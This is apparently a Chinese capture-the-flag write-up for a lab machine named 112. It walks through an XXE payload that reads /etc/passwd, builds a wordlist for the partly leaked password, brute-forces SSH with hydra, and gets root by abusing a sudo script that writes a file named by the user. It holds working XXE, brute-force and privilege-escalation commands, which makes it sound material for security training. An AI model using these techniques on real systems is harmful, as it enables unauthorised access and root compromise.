

1112

The screenshot shows the Wificaler v3.1.5 interface. At the top, there are tabs for Welcome, Project Management, Information Gathering, Port Scan (selected), Web Fingerprinting, Vulnerability Detection, Directory Browsing, Light Weapon Library, Space Measurement, Domain Enumeration, Encoding Conversion, Red Team Tools, Auxiliary Tools, and About. Below the tabs, there's a search bar with '选择项目' (Select Project) set to 'Default'. The main area displays a table of scan results for IP 192.168.56.147. The table has columns for ID, Host, Port, Proto, Target, Banner, Code, Title, and Area. Two entries are listed:

ID	Host	Port	Proto	Target	Banner	Code	Title	Area
1	192.168.56.147	22	SSH	192.168.56.147:22	OpenSSH 8.4p1 Debian 5.1deb11u3	0		
2	192.168.56.147	80	HTTP	http://192.168.56.147:80	Apache Web Server Apache/2.4.62 (Debian) Apache-HTTP-Server/2.4.62	200	XML Parser	

At the bottom, it says 'IP存活: 1 端口存活: 2 检测队列: 65535/65535 用时: 4m26s' and shows '共 2 条' with page navigation buttons.

80端口XXE漏洞

读取/etc/passwd

```
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
    <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>
```

读取/etc/passwd

```
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
```

```
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System
(admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:101:102:systemd Time
Synchronization,,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network
Management,,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd
Resolver,,,,:/run/systemd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core
Dumper:/:/usr/sbin/nologin
messagebus:x:104:110::/nonexistent:/usr/sbin/nologin
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
tuf:x:1000:1000:KQNPHFqG**JHcYJossIe:/home/tuf:/bin/bash
mysql:x:106:113:MySQL Server,,,,:/nonexistent:/bin/false
Debian-snmp:x:107:114::/var/lib/snmp:/bin/false
zabbix:x:108:115::/nonexistent:/usr/sbin/nologin
```

发现tuf，密码为KQNPHFqG**JHcYJossIe，中间缺少了两位，构造字典



json

```
for c1 in {0..9} {a..z} {A..Z}; do for c2 in {0..9} {a..z} {A..Z}; do echo "KQNPHFqG${c1}${c2}JHcYJossIe"; done; done > passwords.txt
```

hydra爆破

● ● ● json

```
hydra -l tuf -P passwords.txt ssh://192.168.56.150 -t 4  
[22][ssh] host: 192.168.56.150 login: tuf password:  
KQNPHFqG6mJHcYJossIe
```

提权

● ● ● json

```
tuf@112:~$ sudo -l  
Matching Defaults entries for tuf on 112:  
    env_reset, mail_badpass,  
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/b  
in\:/sbin\:/bin  
  
User tuf may run the following commands on 112:  
(ALL) NOPASSWD: /opt/112.sh
```

查看文件内容

● ● ● json

```
#!/bin/bash  
  
input_url=""  
output_file=""  
use_file=false  
regex='^https://maze-sec.com/[a-zA-Z0-9/]*$'  
  
while getopts ":u:o:" opt; do  
    case ${opt} in
```

```
        u) input_url="$OPTARG" ;;
        o) output_file="$OPTARG"; use_file=true ;;
       \?) echo "错误：无效选项 -$OPTARG"; exit 1 ;;
      :) echo "错误：选项 -$OPTARG 需要一个参数"; exit 1 ;;
    esac
done

if [[ -z "$input_url" ]]; then
  echo "错误：必须使用 -u 参数提供URL"
  exit 1
fi

if [[ ! "$input_url" =~ ^https://maze-sec.com/ ]]; then
  echo "错误：URL必须以 https://maze-sec.com/ 开头"
  exit 1
fi

if [[ ! "$input_url" =~ $regex ]]; then
  echo "错误：URL包含非法字符，只允许字母、数字和斜杠"
  exit 1
fi

if (( RANDOM % 2 )); then
  result="$input_url is a good url."
else
  result="$input_url is not a good url."
fi

if [ "$use_file" = true ]; then
  echo "$result" > "$output_file"
  echo "结果已保存到: $output_file"
else
  echo "$result"
fi
```

写入漏洞：脚本将 `$result` 写入 `$output_file`。虽然 `$input_url` 受到严格的正则限制（只能包含字母、数字、`/`），但 `$output_file`（输出文件名）完全由我们控制，且脚本是以 `root` 权限写入的。

内容限制：写入文件内容的格式被固定为：`https://maze-sec.com/你的输入 is a good url.`（或者 `is not a good url.`）

正则绕过：正则 `^https://maze-sec.com/[a-zA-Z0-9/]*$` 允许使用 `/`，但不允许 `.`（点）、空格或特殊符号。

Bash 在执行脚本时，如果脚本没有 Shebang (`#!`)，它会尝试将其作为 shell 命令逐行执行。

如果我们将 `/opt/112.sh` 自身覆盖为以下内容：`https://maze-sec.com/exp is a good url.`

再次运行 `sudo /opt/112.sh` 时，Bash 会尝试执行这一行。它会将 `https://maze-sec.com/exp` 解析为一个命令，而后面的 `is a good url.` 被视为该命令的参数。

关键点在于：`https://maze-sec.com/exp` 包含斜杠 `/`。在 Linux Shell 中，如果命令包含斜杠，Shell 就不会在 PATH 中查找，而是直接将其作为路径执行（相对于当前目录）

。

构建伪造的目录结构



json

```
# 在当前目录创建以 "https:" 命名的文件夹（冒号在Linux文件名中是合法的）
mkdir -p https://maze-sec.com

# 建一个名为 exp 的文件，内容是启动一个 shell
echo -e '#!/bin/bash\n/bin/bash' > https://maze-sec.com/exp

# 赋予执行权限
chmod +x https://maze-sec.com/exp
```

覆盖目标脚本



json

```
# 利用脚本的写入漏洞，将 /opt/112.sh 的内容覆盖为指向我们需要执行的路径。
sudo /opt/112.sh -u https://maze-sec.com/exp -o /opt/112.sh
```

触发提权



再次以 `sudo` 运行该脚本。由于你仍然有权限运行 `/opt/112.sh`, `sudo` 会执行它。

```
sudo /opt/112.sh
```